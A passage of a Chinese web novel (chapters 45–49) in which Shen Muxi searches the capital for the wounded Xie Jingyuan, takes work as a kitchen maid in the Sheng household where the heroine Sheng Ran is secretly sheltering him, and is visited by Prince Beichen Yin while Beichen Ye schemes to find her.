只是这巷子比她想象中的深,弯弯绕绕,她都不知道自己绕到了何处。
直到这时,她闻到了血腥味。
低头一看,地上那一滴一滴的,正是刚被人留下的血迹!
还带着温热!
沈木兮身子莫名开始忽略颤抖,几乎是下意识地,轻唤出了一句:“景愿……”
她的直觉从不骗人,特别在谢景愿身上!
沈木兮心头发紧!
脚下步子加快,飞奔一般朝着那个方向行去。
快了,快了。
越来越近了。
她甚至都能感觉到谢景愿身上的气息了。
以及那逐渐浓烈的血腥味。
于此时,另一边撑着墙壁艰难行走的谢景愿,在走出巷子的那一刻,像是终于撑不住了,嘴角溢出一口鲜红,身子重重跌去了地上!
在他昏迷的那一刻,只听到耳后那道急促的脚步声逼近,带着记忆里她熟悉的喘息……
第45章 被救
“小姐,你看!那边好像有个人。”
一辆马车在深夜街头停下。
里面的人撩开帘子,看去深夜那道倒在血泊里的男子。
而另一边,沈木兮正着急的跑出巷子。
那股血腥味,就在眼前了!
快了,快了……
“景愿!!”
然而,穿出巷子的那一顺,她却是愣在了原地,脸上的喜悦,如瞬间被眼前不见底的深夜黑暗给吞噬了。
前面地面上,的确有一摊新鲜血迹。
可四周安安静静,竟连道风声都没有!
沈木兮呆住了,泪水从瞪直的眼眶淌出。
没有人!
怎么会呢?
她明明感觉到他就在这里,就在自己跟前了。
像是失去了所有力气,沈木兮砰的一声跪倒在地上,看着那摊滚烫依旧的鲜红,绝望又孤寂的迎着京城月夜里的寒风。
景愿……景愿!
你到底在哪儿!在哪儿啊……
对不起。
是我弄丢了你……是我啊……
在沈木兮所在街口的另一边,也就是一个拐角的距离。徐徐前行马车中的男子,像是感知到了什么,突然惊醒!
“小姐,您看啊,他居然还活着。”
马车中,旁边的丫鬟被惊了一跳。
本以为小姐是捡了个**,没想到居然真活了。
车厢暗光下,看不清女子的脸,只见她穿着一身绫罗,拿出绢帕给他细致地擦着额前的冷汗和脸上的血迹。
因为伤势太重,他还是在半昏半醒中。
汗珠从苍白如纸的瘦削脸上不停滚落。
“他好像在叫谁?”丫鬟凑近了听,“阿……夕?”
丫鬟瑟儿眼睛一亮,很是惊讶,笑着打趣说。
“小姐,她怎么知道您的小字叫夕儿?”
女子瞪了眼那丫鬟:“说什么呢。我和他不过是萍水相逢,怎会认识?救他也只是见他受伤这么重,还是赶紧带回去治治吧。”
瑟儿看着面前的女子。
心说,小姐自打那日落水后醒来,就变了好多,性子越发沉静。
也不说去见夜王了。
还有今日,身子都还没好全,就说要出去上香。
也是因着出去上香回城迟了,才遇到了这个倒在血泊里的男子。
但该说不说,这个年少的公子虽然瘦得快脱了形,身上也都是伤,明明都脆弱的像是要碎掉了,但他五官优越,冷冽的眉宇间透着清贵,破碎又绝色。
“可是小姐,这带个男子回去,如何给府中人交代?”
她迟疑了一下。
“近日父亲不在家,哥哥也时常出门,就先不说了吧。左不过我只是见他可怜,等治好了他,把人送走便是。不必闹得人尽皆知。”
“小姐说的是。不过他长得这么好看,带回去看着也是好的呢。”
……
在破晓来临的那一瞬,黑茫茫的夜,逐渐褪去。
沈木兮是天亮时才从外面回来的。
不过是出去了一夜,她就像是丢了三魂七魄,眼下乌青都快盖过了半张脸。
那失魂落魄的样子,把客栈老板都给吓了一跳。
“姑娘,你这样子,要不要给你请个大夫?”
沈木兮咕噜噜喝了一大杯水,皱眉:“我又没病,请什么大夫。”
客栈老板看着她那眼神无光,蓬头垢面的模样,想说什么又咽了回去。
谁不会遇到个事儿呢?
“姑娘,你还是先回去好好休息一下,你来了我们这后,好像就没睡过觉。”
“我不困。”沈木兮丢下一句,抹了一下唇边的水渍,循声来到了客栈大堂的窗户边,眼神如炬地盯着外面的情景。
天刚亮,外头又多出了一大批官兵。
比昨夜的人数更多,正在一条街一条街的搜索下来。
旁边有人问:“这是出什么事了?”
“你还不知道吧,听说,昨夜的刑部大牢逃走了个重犯!正在大力搜查呢。还说,谁若是敢私藏逃犯,理当同罪!”
沈木兮咚了一下放下手里的杯子。
真他娘会胡扯!
不过
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,先不说这个人是不是景愿,看这样子,至少北辰晔还没抓到人。
这点让沈木兮稍稍放心了些。
只是继续这样在客栈里住着,不是长久之计。
一是她没有生计来源,继续如此肯定会坐吃山空。再者,若景愿真的逃了,她继续蹲守在这片区域也无济于事。
还是得找个可以打听到消息的地方,或是能赚银子的处所暂时久住。
打定主意,沈木兮收拾了包袱离开了客栈。
许是老天爷见她来京城后遭受了太多苦,今日格外宽待。才出门,就撞上了京城高门府邸里招人的榜文。
还正好是厨子。
小半个时辰后。
按照榜文上写的地址,沈木兮来到了这户高门的后门。
一个嬷嬷,已经在这清点起了前来应聘的人数。
“就她们几个吗,还有其他人吗?”
沈木兮钻出人群:“还有我。”
那嬷嬷定睛一看,只见一个双目无神,眼神暗淡,头发快乱成鸡窝的女子不知从哪里窜了出来。
她被惊了一跳,还以为碰到了鬼,顿时皱起眉头。
“哪里来的乞丐?”
沈木兮低头一看,自己这身衣服是穿了几日,头发也没来得及好生梳理,但不至于被人当成乞丐吧。
这些京里人,就惯会以貌取人。
“我来应聘厨娘,只看厨艺说话,你管我样貌如何?”
“口气倒不小,那你能做出什么菜色。”
“你得问我不会什么。”
嬷嬷第一次见这么有自信的人,来了点兴头:“好啊,你跟我进来。若是厨艺不行,就把你送去官府!”
和沈木兮一起被带进后门的,还有旁边的两个厨娘。
方才在路上她只顾着先找个落脚点,没注意招聘文上写的府邸大名,偏头一问同行人。
“敢问两位小姐姐,这是谁家。”
两人像是看疯子一样盯着她打量:“这是盛家啊,你不知道?”
沈木兮:“哦,盛家。”
等等,盛家?
第46章 床上的人
那不就是女主家?
盛家是京城里的高门,女主祖母是西越的荣安郡主,身份尊贵,盛家人也算是半个皇亲国戚了。
记忆里,女主除了几个庶妹庶弟外,好像还有个同母所出的亲哥哥。
只是原文对盛家的描写实在太少,沈木兮知道的不多。
旁边的那两个小厨娘,见沈木兮听完后发愣的样子,以为她是听着这是盛家,被盛家的名头给吓到了!
更加确定这个浑身乱糟糟的女人,是个难民来的,没见过世面,便更没有把她当回事了。
在嬷嬷的带领下,沈木兮跟着一起去往了盛家的后厨房。
高门里奴仆的审核比猎林严苛多了。
要一层层的仔细选拔。
沈木兮没在怕的,心里唯一记挂和担心的,只有谢景愿。
不过能误打误撞来了盛家,或许能先一步接触女主。
若是有必要的话,她会告知女主夜王的真面目,让她多明白谢景愿的好。即便今后谢景愿和她没在一起,她也能在谢景愿的前期,多给他一些温暖。
明明是高兴的事,沈木兮却是暗暗拧了拧眉头,最后鼓起腮帮子,才算是吐出了那一口心里的郁气。
路过后院时,前面走来一个抱着一堆东西的丫鬟,见着领路的嬷嬷,她停下打了个招呼。
“是陶嬷嬷啊。”
“瑟儿,这是又给小姐送东西去吗。小姐的伤势难不成还没好,怎么又买了这么多的伤药?”陶嬷嬷皱眉问。
瑟儿眸光微闪:“呃,这个,小姐身子金贵,是要多买点伤药,以备无患嘛。”
“可是府中不是有府医吗。”
陶嬷嬷刨根究底,瑟儿一时间不知道怎么说,随便找了个由头,赶紧走了。
沈木兮听出了这是女主身边的人,悄悄回头多看了眼,在看到那丫鬟手中的各种伤药时,她的眸光微不可查一凝。
“愣着做什么,还不快点跟上?”陶嬷嬷不悦呵斥。
沈木兮收回目光,跟了过去。
她是私下潜入这些高门的,不想太过招摇,不然肯定会被北辰晔注意到。是以在试菜的时候,沈木兮皆是点到为止,虽然做了很多菜,但都是一些既常见,味道也只算中上的菜肴。
陶嬷嬷尝了尝,味道是不错,种类也不少,但比之上乘佳肴来,还是差一截的。
不过沈木兮的刀工很好,做事也利落。陶嬷嬷是个会识人的,看出她有些潜力,便还是让她留了下来,在后厨房里当个干杂活儿的丫头。
另外被招进来的小厨娘,见沈木兮只有这两下子,对她愈发的鄙夷。
什么粗活累活,都丢给她来做。
这正中了沈木兮的下怀。
京城高门规矩多,厨娘就只能在后厨房里整天守着灶台,不能随意出入。就好比在九皇子府时,她出去一下都会被管家苛责。
而她现在成了厨房里的小丫头,除了负责厨娘里的杂活儿,也得帮忙送菜去前院,时不时还会帮着出门买菜。
自由自在,还能打听消息。岂非更好。
“喂,说你呢!快去,把这汤药给小姐送去,可别洒了,若是出差池,拿你是问。”方才一起来的另外两个女子,都成了正牌厨娘,其中一个已经开始对着沈木兮颐指气使起来。
沈木兮抬头看了她一眼。
估计是和谢景愿待得久了,沈木兮不笑时看人的眼神,也会莫名带着一丝不易觉察的幽暗。
那故意刁难她的厨娘突然有点子心虚。
都是新来的,谁又晓得这后院的路?这般让沈木兮去,显然是刻意的为难她,想让她找不到路,耽误时辰被人责罚。
沈木兮没有说话,端着托盘去了。
厨房里的那几人松口气,还以为她方才那副样子要**呢。
看来她今后都得乖乖听她们差遣了。
去送东西打探盛家倒是次要,沈木兮还是想多打听一点外面的动静。
沿途询问来,都是外面官兵还在不间断搜索“犯人”的消息。
昨夜那么多的血,人肯定是受了重伤的,但还是没被发现。要么是景愿已经找到了个落脚点,要么就是伤势暂且无碍。
无论是哪个可能,她总算是能松口气了。
继续埋着头送东西去,沈木兮在心中盘算,等明日借着出门买菜的由头,自己再去找找。
那么多血,即便暂且无碍,也坚持不了几次。
很快,她来到了女主所住的听雨轩。
旁人都在等着她丢丑,但对于看过本书的沈木兮来说,在盛家找个地方,像是至尊王者打怪升级一样简单。
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>没办法,原作者在书中多次提及过女主的院子,因为这个名字还是夜王给改的,很受女主的喜爱,作者时不时就提一嘴,生怕读者不知道男主的才情一般,她不想记得都难。
“怎么才送来。”瑟儿在院门处等了许久,一看到送汤药来的厨房丫头,就忍不住呵斥了两句。
瑟儿正准备端药进去,外头有人过来唤了她一声,像是有事。
她皱眉说了句:“我出去一下,你先把药端进去。”
沈木兮照做,端着托盘走进了听雨轩。
一进去,就闻到了一股浓烈的血腥气味。
沈木兮皱眉。
女主不是只掉进了水里吗?怎会受了这么严重的伤?
不过今日盛家里安安静静的,也没传出小姐受了重伤的消息呀。
沈木兮心觉奇怪,将药放下后,随意地抬头望里屋的方向多看了两眼。
从她的角度,正好可以看到那随风飘动的帘子下,正躺着一个人。
可惜离得太远了,又有帘子作挡,她看得不是太清楚。
明明什么也看不清的,可沈木兮的心跳,却在此时漏了一拍。
几乎是不受控制的,她放下东西后,忍不住抬起步子,悄声朝着里面走了过去。
越是往里走,她的心跳便越来越快。
手也开始轻微颤抖。
凑近了,可以大约看到床上躺着一个人!
只是帘子遮挡,视线模糊,实在看不清面容。
沈木兮颤着伸出手,要掀开帘子时,一道不悦的呵斥声音从她身后响起,十分尖锐。
“你在做什么?!”
瑟儿大步走来,一脸凶巴巴地瞪着她。
“这是小姐的闺房,你个厨房里干粗活的丫头,跑进来做什么?”
“出去!”
沈木兮后知后觉才反应过来自己逾越了,赶紧垂下头随意找了个借口道了不是
“我见这里无人伺候,便想着药凉了不好,想先给小姐喂药。”
瑟儿脸色微变,似乎是有点紧张,但看了眼未动的帘子,又放心下了,呵斥声更大了:“我知道给小姐喂药!这没你的事,送完东西,就赶紧走!”
沈木兮轻抿唇离开了。
离开时,她还是又回头看了眼那随风轻轻飘动的床帘,眉心狠狠绞在一起。
第47章 谁让你碰我的!!
沈木兮这边刚走,盛苒就从旁侧的房间里走了出来。
“出什么事了。”
瑟儿把方才的事说了,盛苒抬头看了眼外头沈木兮离去的背影,凝眸道。
“嗯,下次多注意点,别再放人进来了。”
瑟儿明白,高门小姐闺房里住着个外男的事,怎能让人知晓呢。
“不过小姐,方才那丫头自己跑了进来,莫不是柳姨娘听到了什么风声,故意前来打探的。要不要奴婢去……”
柳姨娘是盛大人身边最得宠的姨娘,风头都要盖过了她的母亲,也时常和她不对盘。
瑟儿这意思是,要不要提前杜绝危险,把那丫头给……
盛苒没有第一时间答话。
她自从落水失了大部分记忆后,性子也安静了些,遇到事情,没有以前那么果断和狠得下心了。
瑟儿也是担心她太心软,这才帮着出主意。
不过还未等盛苒点头与否。
便听得屋内传来响动。
“小姐,人醒了!”瑟儿惊喜道。
盛苒也是一脸喜色,赶紧走了进去。
也是奇怪。
这人回来后就一直昏睡着,大夫看了一波又一波,什么药也喝了,可偏偏一直不醒,怎么突然就苏醒了?
醒来的谢景愿,脸色依旧苍白无比,强撑着坐起身。
盛苒要过去帮着搀扶起他。
谢景愿抬头,便看到一张娇美小脸,眼似秋水,眉如远黛,垂落的流苏随着她的动作轻微晃着,笑眸里带着关心和温和的色泽。
“你醒了,可还有哪里不适?”连她的声音也似揉碎进了风儿里。
可谢景愿的眼神却是瞬间冷下,直接一把推开盛苒,冷冰冰地低斥:“谁让你碰我的!!”
他一双深凹的眼眶里,带着渗人的阴冷,因为瘦削显得更为流畅锋利的下颌绷的如同淬了冰,呼吸发沉,带着一股和他柔弱模样截然相反的威压。
说完他还看了眼被盛苒触碰过的地方,紧皱眉心,眼里的戾气变得汹涌。
“再碰我,我会杀了你。”
这句话,让盛苒脸色微的苍白。
“你真不识好歹,我家小姐见你可怜,才捡了你回来,你怎么还……!”瑟儿扶起小姐指着他骂。
盛苒打断瑟儿的话,笑着说:“别怕,我不是坏人,昨日你晕在了街上,我看你浑身是伤,把你救了回来。对了,你叫什么名字?家住何处,若是可以,我把你送回去。”
谢景愿不说话,眼神阴冷又警惕。
乱发遮挡住他的半只眼,周身带着浓浓的戒备。活像是一只受尽磨难,脾气暴躁又易怒的野狼。
瑟儿被吓得不敢出声,只悄声地对盛苒嘟哝:“小姐,这人该不是个疯子吧?”
盛苒瞪了她一眼。
“别乱说话。他受了这么重的伤,不信任你我也是正常的。你去把药端来。”
瑟儿乖乖地去了。
不过谢景愿依旧不喝,也不看盛苒,浑身上下都笼罩着一股生人勿进的阴骇气息。
盛苒还是第一次见这种,阴渗渗,浑身又带满刺的人。
她悄声对瑟儿说了句什么,瑟儿又赶紧去了。
等回来时,她拿起一块儿小蜜饯丢进了药碗里。
“来,这下药不苦了,可以喝了。”
谢景愿一直冷冷地坐着,不想任何人靠近自己,可当那碗加了蜜饯的药,端到他的跟前时,他的睫羽却是微动,喉头滚了滚。
记得那时在猎林。
有次他生病了。
她怎么哄他都不肯喝药,后来,她走了几里的山路,给他买回来了一盒蜜枣。
她也是这样把蜜枣放在药碗里,哄着他说。
“景愿,快喝。这下不苦了,我发誓!”
他从不怕苦,从小到大,他什么苦没吃过。他偏想让她费尽心思哄着自己,让她为他四处奔走。
直到今日她都不知,那次他风寒发病,是他看到她整天到晚和北辰殷待在一起,故意泡了一夜的凉水澡。
她也没撒谎,那碗药,真的很甜。
“快喝吧,真的不苦了。”
记忆里女子的话语,和面前盛苒的温和言辞一点点重合,谢景愿缓缓抬头,眼前盛苒的娇俏小脸,也渐渐幻化成了他想要的样子。
那么近。
虽然那一下的失神只有一瞬,但他再次抬眸时,没有像方才那样激烈的抗拒了。
他一点点伸出手拿过药喝了下去,哑声低语了一句:“谢谢。”
盛苒没想到谢景愿肯喝药不说,还愿意和她说话了。
惊喜之余,才发现,他若不做出那副拒人千里的样子时,眼神不再那样的冷暗,其实看起来很乖。
一时间竟让盛苒看得有些愣住了。
瑟儿说的倒也没错,好看的东西,就算是摆在屋子里看着,也是好的。
等出去的时候,瑟儿忍不住低声说了句:“小姐,要奴婢说,这个年轻公子只要不冷冰冰的,其实挺好的。至少比那个性子高傲又不搭理人的夜王强。”
盛苒皱眉,不悦地瞪了眼瑟儿。
“以后别再提什么夜王了,你们说的我和他之前的种种,我都记不起来了。既是老天让我把他忘了,就罢了吧。”
瑟儿眼睛亮堂堂:“嗯嗯,小姐说的对!不提不提了。”
真希望小姐再也别恢复记忆才好。
“好了,去购置一些男子换洗的衣物,别惊动府中人。”
瑟儿偷笑,赶紧去了。
后厨房这边,沈木兮自打从听雨轩回来后,就心神不宁的。
其实她当时什么也没看
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到,可就是心里乱的很。
正寻思要不要找个时间,再去看看时。
陶嬷嬷的声音传来:“愣着做什么,赶紧去前院,帮我给管家送个东西。”
沈木兮回过神,点头去了。
刚来到前院,就听到从府门外传来的嘈杂声。
她探头看去,眸光一变。
身穿一身亲王锦袍的北辰晔,正大步走来。
没想到会撞上他,她赶紧找了一颗树躲了起来。
在北辰晔身后,还跟着北辰殷。
估计两人是来看望落水生病的盛小姐。
只是太远了,她只能大致看清二人的身形,见他们在管家的迎接下,朝着前厅去了。
前方,北辰殷一改往日的欢脱,今日整个人都是恹恹的,脸色青白,不知是病了,还是心情不佳。
以往嘴边不停的他,跟着北辰晔这一路而来,竟是一句话也没说。
北辰晔看了他一眼,先是叹气,随后问:“九弟,听说你带回来的那个厨娘走了?”
北辰殷一听,本就不好的脸色,更是暗沉沉的,他扯唇冷哼。
“七哥也知道了?哼!走她的呗,我就当走了一条狗!”
听得出来,北辰殷是真的被气狠了,竟说出这样的气话。
北辰晔眸光闪动,又问了句:“那你可知,她去了何处吗?”
北辰殷一愣,抬头看着北辰晔温和笑着的眸子,突然觉得七哥今日的问话,比以往好像多了些。七哥平时很少提及奴才的事,更别说,还是他一直反对自己带回来的乡野女子了。
他也没多想,努努嘴说:“谁知道啊!跑得比兔子还快……不过她就算去了何处,也和我不相干!”
走就走了,可连东西都没给他留,好生狠心。
北辰晔眼神暗淡了瞬。
可惜了。
之前,他故意撺掇柔妃和北辰殷,就是想让柔妃替自己出手解决了这个多余的女子。包括在从猎林回京时,突然出现在半路的李管事,也是他命人安排的。
这样的话,谢景愿身边才没有羁绊,也更能归他所用。
可是从冷刃的调查所知,夜里那些巷子里的血迹,无论是分散,还是集中,都是在朝着一个方向去的。
那就是皇子府!
也是到了这时,北辰晔才恍然明白,谢景愿为何突然逃了。
他早就查过这两人,知道沈木兮作为长嫂,一直在**他。所以他也从来没想过其他。竟不知,这个一直**他的狠心长嫂,居然是他的软肋?
这点让北辰晔无比惊讶!
心中也懊悔着急弄走了沈木兮。
现在不仅是连谢景愿没找到,沈木兮也没了踪迹。
“谁偷偷藏在前面呢,快出来!”管家眼尖的发现树后的人影,低斥了声。
第48章 原来,她心里是记挂他的!
沈木兮身子一僵,她躲得这么隐蔽,居然也被发现了。这管家眼神行啊,是个人才。
就在她这一瞬出神之时,咣当几声,托盘落地。
旁边的假山和大树后,齐刷刷走出了好些个丫鬟。
一个个站出来,竟有七八人之多。
“?”好家伙,原来不止她一个人躲着呢。
夜王名声在外,又容貌出众,往日出行时便是这样,四周总会跟着一群莺莺燕燕,在盛家也不例外。
沈木兮趁机上前一脚也跟着窜进了人堆里。
她已经换上了一身盛家奴婢的衣服,在一群丫鬟中,自是不显眼的。
北辰晔余光粗略扫视一眼就收回,表面温和,一道嫌恶却从眼底一闪而过。
他只是表面看着待人温厚,实则对于身边总是出现的这些女人,厌恶的不行,根本就没去细看,只是淡淡一笑,抬步便走了。
倒是北辰殷走过这群丫鬟时,步伐微微一顿。
但很快他又朝北辰晔跟了过去。
管家见贵人没苛责,只是骂了她们几句,说下不为例,放她们下去了。
沈木兮松口气。
把东西给了管家,匆匆溜回了后厨房。
另一边,北辰晔回头看着那不知道在瞅什么,正在原地发愣的北辰殷,不由问了句:“九弟,你在看什么。”
北辰殷眼神闪了闪,收回微眯起的双眼:“哦,没什么。”
北辰晔看了看他,没有多问,今日过来看望盛苒,也是做做样子,再者也给荣安郡主一个面子。
可让北辰晔意外的是,往日总是处心积虑想见自己的盛苒,今日居然不见他。
北辰晔没放在心上,不见就不见吧,上回是他没去西楼,她才一气之下跳了湖。
事后生气不想见自己,也是正常的。
不过他可不会惯着她的性子,留下一些送来的补品,直接走了。
女人,就是惯不得,越是娇惯,越会给你使小性子。他会让盛苒知道,她的决定错得有多离谱。
随着北辰晔负气从从盛家离开后,北辰殷也回了皇子府。
回来后看着桌上的一堆佳肴,北辰殷是一点胃口也没有,他站起身,开始在屋子里来回踱步。
其实一开始他也不确定的,直到看到她那逃跑时,那张牙舞爪的熟悉背影,才十分肯定,那个人果真是她。
真是的,她都另择他主了,还故意躲着他,他干嘛还想她的事!
北辰殷越想越憋闷,大手一挥:“拿下去,本皇子不饿!”
管家看着再次被撤走的饭菜,紧皱眉头,自打沈木兮走后,九皇子就没好好吃过一顿,眼看着才两日就瘦了一大圈。
“皇子。”
“出去,出去啊!”
管家深思熟虑后,还是走了进来,拿出了一个物件。
“皇子,这是那女子离开时,让我给你的东西。”
原本烦躁至极的北辰殷,一听这句,眼睛一亮,蓦地转头!
可一想着在盛家见到她时,她那把脑袋都要埋进膝盖里的样子,脸色又冷了下来:“什么东西,本皇子缺那点东西吗?拿走,我不要!直接丢去湖里!”
管家没办法,只能退了出去。
他刚从湖边回来,就见一道身影,撒开脚丫子飞窜着跑了过来,跳起来着急地问。
“东西呢!本皇子的东西呢!”
管家:“呃,皇子不是让老奴丢去湖里吗?”
“哎呀!我让你丢,不是让你现在就丢,你明日丢不行吗!蠢货。”北辰殷都要被气**,狠狠骂了一句,他也不顾初冬的天凉寒刺骨,直接跳进了湖里。
那湖水里的冷气,几乎能窜进他的骨头缝,他全然不顾,仿佛要把这池子挖个底朝天了去!
还好管家刚丢了没多久,北辰殷很快就找到了。
他一把将那陷在石头里的小锦盒捞起。
“九皇子!九皇子!”
管家一群人在岸边急得不行,一边让奴才下水将北辰殷带了回来。
上岸时,他浑身已经凉透。
可手里却紧紧攥着那个锦盒。
锦盒里是一个瓷瓶,虽然瓷瓶被浸湿,瓷瓶里的东西也毁了,可他还是一眼认出里面是何物。
北辰殷身子生来偏寒,吃不了凉物。
是以他的嘴一向挑。
连御膳房的御厨都瞧不上。
偏偏那江州的小厨娘有些本事,不仅仅厨艺一把好手,还能做些药膳给他驱寒。
他也从一开始的质疑,挑衅,到后来彻底被她给驯服了。
而这瓷瓶里装着的,便是她亲自采摘晾晒,给他特制驱寒的花椒茶。
不知是被天冻的,还是怎的,他的手轻微打颤。
湿透
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的发丝,黏在脸上,在月夜下,一点点滴着水。
可他却是笑了。
原来,她没有忘了他这个朋友。
她心里也是记挂着他的。
皇子府的人,看着先是一直捧着那瓷瓶傻愣着不说话,随后又开始傻笑的九皇子,不明白是怎么了,还以为自家皇子跳个水就魔怔了。
他激动地道!
“快,快去!给我备马车,我要去盛……”
话还没说完,凉意袭来,几日没好好吃过东西,也没睡觉的北辰殷,直接被冻晕了去。
“皇子,皇子!”
等北辰殷醒来时,已经是后半夜了。
动静闹得很大,不仅仅北辰晔在这守着,连柔妃也从宫里赶来了。
“母妃……”北辰殷要坐起身,被柔妃按了回去。
“你啊,这么大的人,竟还要让母妃如此挂心吗?若非管家传信,本宫还不知你不小心掉进了府中湖里。”
“你身子本就偏寒,又落入那水中,若是出点事,是要母妃为你哭死吗!”
北辰殷看了眼跪在那的管家,心中了然,顺着柔妃的话说道。
“是儿臣让母妃担忧了,儿臣今后会注意的,夜里不乱走了。”
柔妃虽然气,但觉得这突然病了一下,儿子倒是比之前懂事了些,还会主动给自己道不是。
本想多陪陪儿子,可她是宫妃,不好一直在外头,又是私下出来的,没陪北辰殷多久,便回宫了。
等柔妃走后,北辰殷一把抓住了北辰晔的手,眼睛都亮了,无比激动地道
“七哥,七哥!我找到她了!原来是我误会了她,她还是把我当朋友的。”
他就知道,她就算离开,也会记挂着自己的。
北辰晔一愣,待反应过来北辰殷说的是谁时,他眼神微地一变。
明明他眼神深处的幽光是越发泛冷,可北辰晔脸上的笑意却是愈发的深,带着满满的关怀,还俯身下来,一边紧紧按着北辰殷的肩头,一边温和的问。
“你说的,是那个沈姑娘吗?”
“嗯嗯!”北辰殷只敢和七哥吐露心声。
北辰晔笑意更大了,按着他肩头的手,悄然收紧:“殷儿,告诉皇兄,她在哪儿。你生了病不好出门,皇兄替你去看看她。”
北辰殷越听越是感动。
“嗯嗯!她在……”
第49章 千山万水,终于相见
入冬的天说冷就冷,昨日还是艳阳高照,今日就飘起了小雪。
沈木兮在后厨房里对着灶头忙活着,本该是热火朝天,可她却是觉得背心发凉。
昨日夜王来了盛家后,她这心里就一直不安极了。
再看一眼外面的雪,本还想借着今日出门买菜,出去再找找人。可管家说,下雪了出门容易出事,不让府中人随意出去,让人送菜过来。
她无法,只能先守在这。
正在思考之后的事,外面奴才的声音打断了沈木兮的思绪。
“喂,叫你呢,有人要见你,让你到前头的假山去。”
有人要见她?
沈木兮神色严肃起来。
还想问清楚,可那奴才说完就跑了,显然是不想被人发现。
她才来盛家还没两日,谁想见她?肯定不是主子,不然也没必要偷偷摸摸。
沈木兮心中那股不好的预感更甚了,但人都找来了,还这么精准的找到她,肯定是有备而来。躲是躲不了的,她即便不见人,也得偷偷去看看。
好在她进了京一直有所防备,随身带着利器,简单收拾了一下就过去了。
等到了假山附近,她探头看去。
假山四周静悄悄什么人都没有,那奴才不会是逗她玩的吧?
正觉古怪,一道身影从后面出现,惊了沈木兮一跳。
她拿出小刀就怼了过去。
身后的人被吓了一跳,后退两步,随后叉腰傲娇冷哼。
“沈木兮行啊沈木兮,你不仅仅不辞而别,还想暗杀本皇子!反了天了!”
见到眼前气呼呼的北辰殷,沈木兮紧张的心,顿时安定了下来。
她还以为是被夜王发现了自己的踪迹呢。
竟是这二傻子。
原本北辰殷昨夜是想告诉七哥的,可就在开口时,他突然又想起在盛家沈木兮乔装在丫鬟堆里,拼命埋着头的样子。
她藏得那么深,就是不想让人知道她在此……
踌躇了一番,他还是忍下了。
随意编了个地方。
可恶的女人,为了她,他头一次对七哥撒谎!
其实昨夜北辰殷停在沈木兮身前时,她就有所觉察,没想到还真被他认出来了。
话说起来,昨夜没细看,今日一看,才发现北辰殷瘦了一圈,脸也病白的很。
“你……没吃饭吗?”沈木兮上下打量着他,皇子府那么阔绰,他也不像是穷得连饭也吃不起啊。
北辰殷咳嗽一声,转过身去。
他才不要说自己这两日食不下咽!
“怎么会!你走了后,本皇子又请了江南名厨,外加三个扬州点心师傅!每日吃得乐滋滋……”
“行了,别吹了,快吃吧。”沈木兮无奈发笑,从怀里掏出一个自己做的手工包子。
她不想在盛家太过暴露自己,往日做饭也没认真,但这里的饭菜实在吃不下,为了解馋她偷偷做了些包子花卷,倒是便宜这小子了。
北辰殷一愣,本是想拒绝,可肚子比他脑子诚实,已经开始咕咕叫了……惹得他俊脸一红。
沈木兮把包子塞进他手里,诚恳地说:“对不起啊北辰殷,那日我走得急,没有和你告别,你别生气。但也别饿着自己了,若是得空,我会做些东西给你送去,好不好?”
她像是在哄小屁孩。
千言万语,皆不如那真诚二字最能打动人心。
北辰殷不知怎了,眼圈一红,突然背过身去,偷偷一摸眼角,声音还是那般傲娇,强装镇定地说:“谁要你做吃的!没有你,我又饿不死!”
他说完就走。
可等走了几步,又折返回来,一把抢走了沈木兮手里剩下的包子!
还恶狠狠丢下一句。
“皇子府你不待,非要在其他地方当烧火丫头,随你去!反正被人欺负了,我可不管!”
这才算走了。
沈木兮笑了,其实从北辰殷私下来此,她就知道,他是特意来看她的。
看她过得好不好,有没有被人欺负。
真是个嘴硬心软的家伙。
不过看样子,北辰晔应当是不知道她在这,不然今日来的就不止是北辰殷了。
沈木兮瞅了瞅四周,见无人,这才小心翼翼回了后厨房。
一个盛家的烧火丫头,和九皇子私下说话。这事儿被传出去,还不等北辰晔发现她,她怕也小命难保。这万恶的封建社会……
沈木兮身影刚溜走,不远处的假山亭上,雪风飘舞,出现了一道看似清瘦,却又身姿高挺的男子身影。
他转过头,面色苍白如纸,因为瘦了,更衬他眼尾细长,微微垂着,在那可怜中又似一股蕴藏的病态狠戾。
他空渗渗的眼神顺着雪风扫去的地方,正是方才沈木兮所在之处。
可因为看到的只有白茫茫的一片,连地上的脚印都雪覆盖了。
“你在看什么?”
身后传来女子的声音,谢景愿收回眸子,没有说话。
盛苒早已习惯他的冷漠。
但也因为他的漠然,让她更有种冲动,想要彻底“打开”他,想去看看真正的他,没有了任何防备和抵触时,该是什么模样。
“你很喜欢看雪景吗。”盛苒看到他肩头的雪,轻轻抬手帮他掸了掸。
原本安静的谢景愿,眼里却是闪过幽冷杀意,转而又忍
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住了,他只是退了一步。
“别再碰我了,我怕回家不好交代。”冷漠的声音里带着一丝警告!
盛苒的手僵硬在原地,有些尴尬,但更多的却是好奇:“你的家人,对你很凶吗?连你和旁人相处也要管?”
谢景愿觉得她这话实在没有问的必要。
她不管他,那她管谁去?
他没理会盛苒的疑惑,低声反问:“这里是府中最高的位置吗。”
盛苒不明他要做什么,只当他伤势一直未好全,在屋子里待得久了,想站在高处,看看更远的地方。
她迟疑了一下,想着下雪出来的人也不多,应该不会被人发现,便点点头:“有的,我带你去。”
沈木兮这头刚回去后厨房,就被陶嬷嬷给叫了过去。
陶嬷嬷是后厨房的管事,被她找过去,不是大事也是正事。
沈木兮才见了北辰殷回来,这心里头是有点子发虚,但还是去了。
“嬷嬷好。”
陶嬷嬷在后厨房外面的湖边等着她,四下只有她们两人,更显得这偏僻角落里安静极了。
陶嬷嬷看了眼她:“知道我为什么要留下你?”
原来不是为了北辰殷而来。
沈木兮呃了声。
“这倒是不知。”
陶嬷嬷轻哼了声,她在这府宅里做了几十个年头,不知识过多少人。
真会只因为沈木兮做事利索,就留下她吗?
那日试菜时,陶嬷嬷就从她的刀功,和动作细节看得出来,这妮子其实是个能手。
毕竟不是谁都让每道菜都尝起来口味尚可,但又平平无奇的。
这两日她也留意了她,发现她趁着人不在的时候,偷偷做过其他东西。
还有昨夜,老厨娘不小心睡着了,做坏了主子的那锅燕窝粥,她偷偷的重做了一碗,这才避免年迈的老厨娘被责罚。
陶嬷嬷私下尝了一点,居然味道绝佳。
“我知道,在京中奴才难当,没有硬实的背景,过早的暴露真本事是很危险的,也会被人排挤。”陶嬷嬷盯着她,话语幽深,“不过在我这,这些都不足为惧……”
跟前顶头上司的大饼,沈木兮一点也没兴趣,因为她的注意力,在陶嬷嬷再次开口那一瞬间,就被前方一幕给吸引了去。
只是那一瞬,她的瞳孔都好像睁大了。
在陶嬷嬷的身后,那府中最高的楼阁上!
